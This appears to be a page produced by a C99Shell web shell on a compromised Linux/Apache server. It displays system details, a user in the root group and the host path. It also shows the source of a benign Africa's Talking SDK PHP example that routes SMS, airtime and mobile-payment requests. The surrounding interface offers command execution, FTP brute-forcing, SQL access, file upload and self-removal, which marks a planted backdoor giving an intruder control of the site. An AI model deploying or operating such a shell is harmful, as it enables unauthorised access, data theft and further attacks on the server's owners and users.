!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/africastalking/africastalking/example/   drwxr-xr-x
Free 28.69 GB of 117.98 GB (24.32%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     index.php (2.38 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
require 'vendor/autoload.php';

use 
AfricasTalking\SDK\AfricasTalking;

$username "sandbox";
$apiKey getenv("API_KEY");

$AT = new AfricasTalking($username$apiKey);

// Router
$router = new AltoRouter();

$router->map'GET''/', function() {
    require 
__DIR__ '/views/index.php';
});

$router->map'POST''/auth/register/[*:phone]', function ($phone) {
    global 
$AT;
    
$sms $AT->sms();
    
$response $sms->send(array(
        
"to" => $phone,
        
"from" => "AT2FA",
        
"message" => "Welcome to Awesome Company",
    ));
    
header("Content-Type: application/json; charset=UTF-8");
    echo 
json_encode($response);
});

$router->map'POST''/airtime/[*:phone]', function ($phone) {
    global 
$AT;
    
$airtime $AT->airtime();
    
$response $airtime->send(array(
        
"recipients" => array(
            array(
                
"phoneNumber" => $phone,
                
"amount" => $_GET['amount'],
            )
        )
    ));
    
header("Content-Type: application/json; charset=UTF-8");
    echo 
json_encode($response);
});

$router->map'POST''/mobile/checkout/[*:phone]', function ($phone) {
    global 
$AT;
    
$payments $AT->payments();
    
$response $payments->mobileCheckout(array(
        
"productName" => "TestProduct",
        
"phoneNumber" => $phone,
        
"currencyCode" => explode(" "$_GET["amount"])[0],
        
"amount" => explode(" "$_GET["amount"])[1]
    ));
    
header("Content-Type: application/json; charset=UTF-8");
    echo 
json_encode($response);
});

$router->map'POST''/mobile/b2c/[*:phone]', function ($phone) {
    global 
$AT;
    
$payments $AT->payments();
    
$response $payments->mobileB2C(array(
        
"productName" => "TestProduct",
        
"recipients" => array(
            array(
                
"phoneNumber" => $phone,
                
"currencyCode" => explode(" "$_GET["amount"])[0],
                
"amount" => explode(" "$_GET["amount"])[1],
                
"name" => "Test Guy",
                
"metadata" => array(
                    
"nothing" => "no data"
                
)
            )
        ),

    ));
    
header("Content-Type: application/json; charset=UTF-8");
    echo 
json_encode($response);
});

$match $router->match();
if( 
$match && is_callable$match['target'] ) ) {
    
call_user_func_array$match['target'], $match['params'] ); 
} else {
    
header$_SERVER["SERVER_PROTOCOL"] . ' 404 Not Found');
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0035 ]--